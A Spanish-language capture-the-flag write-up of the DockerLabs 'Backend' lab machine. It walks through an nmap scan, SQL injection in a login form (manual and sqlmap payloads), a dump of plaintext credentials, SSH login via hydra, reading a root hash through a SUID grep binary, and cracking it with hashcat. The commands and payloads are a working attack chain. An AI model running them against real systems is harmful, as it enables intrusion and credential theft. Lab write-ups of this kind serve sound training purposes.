Saltar a contenido

Maquina Backend

  • OS: Linux
  • Plataforma: DockerLabs
  • Nivel: Easy
  • Tags: #sqli #suid #grep

Reconocimiento

Comienzo tirando un ping para comprobar la conectividad

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.092 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.092/0.092/0.092/0.000 ms

Ahora tiro un escaneo con nmap para ver que puertos tenemos abiertos.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ sudo nmap -p- -Pn -n -sS --min-rate 5000 -vvv 172.17.0.2 -oG nmap/allPorts

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
  • Puertos 22 SSH y 80 HTTP

Sobre los puertos abiertos realizo un segundo escaneo mas profundo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ sudo nmap -p 22,80 -sV -sC -n -Pn -vvv -sS 172.17.0.2 -oN nmap/target

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 08:ba:95:95:10:20:1e:54:19:c3:33:a8:75:dd:f8:4d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMPJ46ajVOvTej11m5rYDjs9KAJUbzC1iUdAloBEabTXlpaBY6grCd3EAwDWE33L9E7lC5k9G+g2gNtsrAq79dw=
|   256 1e:22:63:40:c9:b9:c5:6f:c2:09:29:84:6f:e7:0b:76 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF6xGDDmewkLLpG4sexgnIhUkqp4QnkWeDoYn4PyDLS4
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: test page
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tenemos:

  • Puerto 22 SSH: OpenSSH 9.2p1 Debian 2+deb12u3
  • Puerto 80 HTTP: Apache httpd 2.4.61

Enumeración

Puerto 80 HTTP

La pagina no me dice mucho, solo que esta en desarrollo.

También tenemos una pagina de login:

Si coloco credenciales erróneas soy redirigido a una pagina que me dice Wrong Credentials:

<!DOCTYPE html>
<html>
<head>
        <title>login error</title>
        <link rel="stylesheet" href="./css/style.css"/>
</head>
<body class="error">

        <div class="topnav" style="background-color:#8B0000">
                <a href="./index.html">Home Page</a>
                <a href="login.html">Login</a>
        </div>

        <h3 style="color:#FF6347" align="center" class="header">Wrong credentials</h3>
</body>
</html>

Headers y Tecnologias Web.

Por los headers podemos ver que la web corre sobre Apache.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ curl http://172.17.0.2/ -I

HTTP/1.1 200 OK
Date: Sat, 10 Jan 2026 07:36:33 GMT
Server: Apache/2.4.61 (Debian)
Last-Modified: Tue, 27 Aug 2024 14:09:19 GMT
ETag: "219-620aac99861c0"
Accept-Ranges: bytes
Content-Length: 537
Vary: Accept-Encoding
Content-Type: text/html

Fuzzing.

Realice fuzzing de directorios y de parámetros en todas los recursos, pero no encontré nada raro.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://172.17.0.2/FUZZ/ -e .git,.php,.txt,.html,.js -ic

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev'
________________________________________________

 :: Method           : GET
 :: URL              : http://172.17.0.2/FUZZ/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Extensions       : .git .php .txt .html .js
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 537, Words: 213, Lines: 18, Duration: 0ms]
login.php               [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1ms]
icons                   [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.html                   [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 78ms]
.php                    [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 131ms]
css                     [Status: 200, Size: 1125, Words: 71, Lines: 18, Duration: 0ms]
                        [Status: 200, Size: 537, Words: 213, Lines: 18, Duration: 0ms]
.html                   [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]
.php                    [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 1ms]
server-status           [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 0ms]

Explotación.

Dada la poca informacion que tengo supongo que la única via potencial para ganar acceso a la maquina es a través del login.

Por lo cual intercepte la petición de login y coloque una simple comilla para ver si me tiraba un error y podía generar algun tipo de inyección SQL o de comandos.

username='&password=pepe

  • Obtenemos una excepción de mysql la cual nos indica que seguramente este formulario sea vulnerable a SQLi.

Jugando con ORDER BY para encontrar el numero de columnas que regresa la query obtengo que son 3 columnas.

username=' order by 3-- -&password=pepe

  • Me redirigue a la pagina de Wrong Credentials lo que implica que bypasse el login.

Jugando con union select para ver cuales columnas son visibles obtengo que no hay output.

username=' union select 1,2,3-- -&password=pepe

Ya que no tengo output y no puedo realizar la SQLi de manera manual opte por utilizar sqlmap

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ sqlmap -u http://172.17.0.2/login.html --forms --batch

POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 318 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=BDkL'' RLIKE (SELECT (CASE WHEN (2182=2182) THEN 0x42446b4c ELSE 0x28 END))-- aysQ&password=sWLt

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=BDkL'' AND (SELECT 1127 FROM(SELECT COUNT(*),CONCAT(0x7176627171,(SELECT (ELT(1127=1127,1))),0x7162787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tzEN&password=sWLt

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=BDkL'' AND (SELECT 8703 FROM (SELECT(SLEEP(5)))xeER)-- mXgM&password=sWLt
---
do you want to exploit this SQL injection? [Y/n] Y
  • Esto nos confirma que existe una SQLi

Por lo cual ahora puedo empezar a enumerar la base de datos.

  • Enumero las DBs disponibles:
┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ sqlmap -u http://172.17.0.2/login.html --forms --batch --dbs

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] users
  • Todos las bases de datos son estándar a excepción de users, por lo cual voy a ver que tablas tiene esta base de datos.
┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ sqlmap -u http://172.17.0.2/login.html --forms --batch -D users --tables

Database: users
[1 table]
+----------+
| usuarios |
+----------+
  • Solo tiene una tabla por lo cual voy a dumpear su contenido:
┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ sqlmap -u http://172.17.0.2/login.html --forms --batch -D users -T usuarios --dump

Database: users
Table: usuarios
[3 entries]
+----+---------------+----------+
| id | password      | username |
+----+---------------+----------+
| 1  | $paco$123     | paco     |
| 2  | P123pepe3456P | pepe     |
| 3  | jjuuaann123   | juan     |
+----+---------------+----------+

La tabla me dumpeo credenciales las cuales me voy a guardar en un archivo para probarlas en el SSH con hydra.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ cat creds.txt
paco:$paco$123
pepe:P123pepe3456P
juan:jjuuaann123

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ hydra -C creds.txt ssh://172.17.0.2
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-10 08:05:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries, ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/

[22][ssh] host: 172.17.0.2   login: pepe   password: P123pepe3456P

1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-10 08:05:13
  • Tenemos credenciales para el SSH: pepe / P123pepe3456P

Ahora me puedo conectar por SSH.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ ssh pepe@172.17.0.2

pepe@001cf2eae2ca:~$ id
uid=1000(pepe) gid=1000(pepe) groups=1000(pepe)

Escalada de Privilegios

En tema de usuarios solo existimos nosotros y el root.

pepe@001cf2eae2ca:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
pepe:x:1000:1000::/home/pepe:/bin/bash

Enumere binarios SUID y me encontré con esto:

pepe@001cf2eae2ca:/dev/shm$ find / -perm -4000 2>/dev/null
/usr/bin/umount
/usr/bin/chfn
/usr/bin/mount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/ls
/usr/bin/passwd
/usr/bin/grep
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
  • El binario grep al tener privilegios SUID me permite leer cualquier archivo del sistema.
  • El binario ls al tener privilegios SUID me va a permitir listar cualquier directorio.

Una via potencial para abusar del binario grep y seria leer el archivo /etc/shadow y sacar el hash del usuario root para después crackearlo.

Pero después de enumerar manualmente el directorio /root me encontré con lo siguiente:

pepe@001cf2eae2ca:~$ ls -la /root
total 24
drwx------ 1 root root 4096 Aug 27  2024 .
drwxr-xr-x 1 root root 4096 Jan 10 07:29 ..
-rw-r--r-- 1 root root  571 Apr 10  2021 .bashrc
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
drwx------ 2 root root 4096 Aug 27  2024 .ssh
-rw-r--r-- 1 root root   33 Aug 27  2024 pass.hash
  • pass.hash es el hash de contraseña del usuario root

Puedo abusar de grep para leer un dicho archivo.

  • Si no sabemos abusar de algun binario SUID siempre podemos consultar GTFOBins
pepe@001cf2eae2ca:~$ LFILE=/root/pass.hash
pepe@001cf2eae2ca:~$ grep '' $LFILE
e43833c4c9d5ac444e16bb94715a75e4

El hash tiene 32 caracteres por lo cual corresponde a un hash MD5

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ echo -n "e43833c4c9d5ac444e16bb94715a75e4" | wc -c
32

Voy a crackear este hash usando hashcat.

┌──(wndr㉿wndr)-[~/Machines/dockerlabs/backend]
└─$ hashcat -m 0 e43833c4c9d5ac444e16bb94715a75e4 /usr/share/wordlists/rockyou.txt

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

e43833c4c9d5ac444e16bb94715a75e4:spongebob34
  • la credencial es spongebob34

Ahora puedo migrar al usuario root.

pepe@001cf2eae2ca:~$ su root
Password:
root@001cf2eae2ca:/home/pepe# id
uid=0(root) gid=0(root) groups=0(root)

PWNED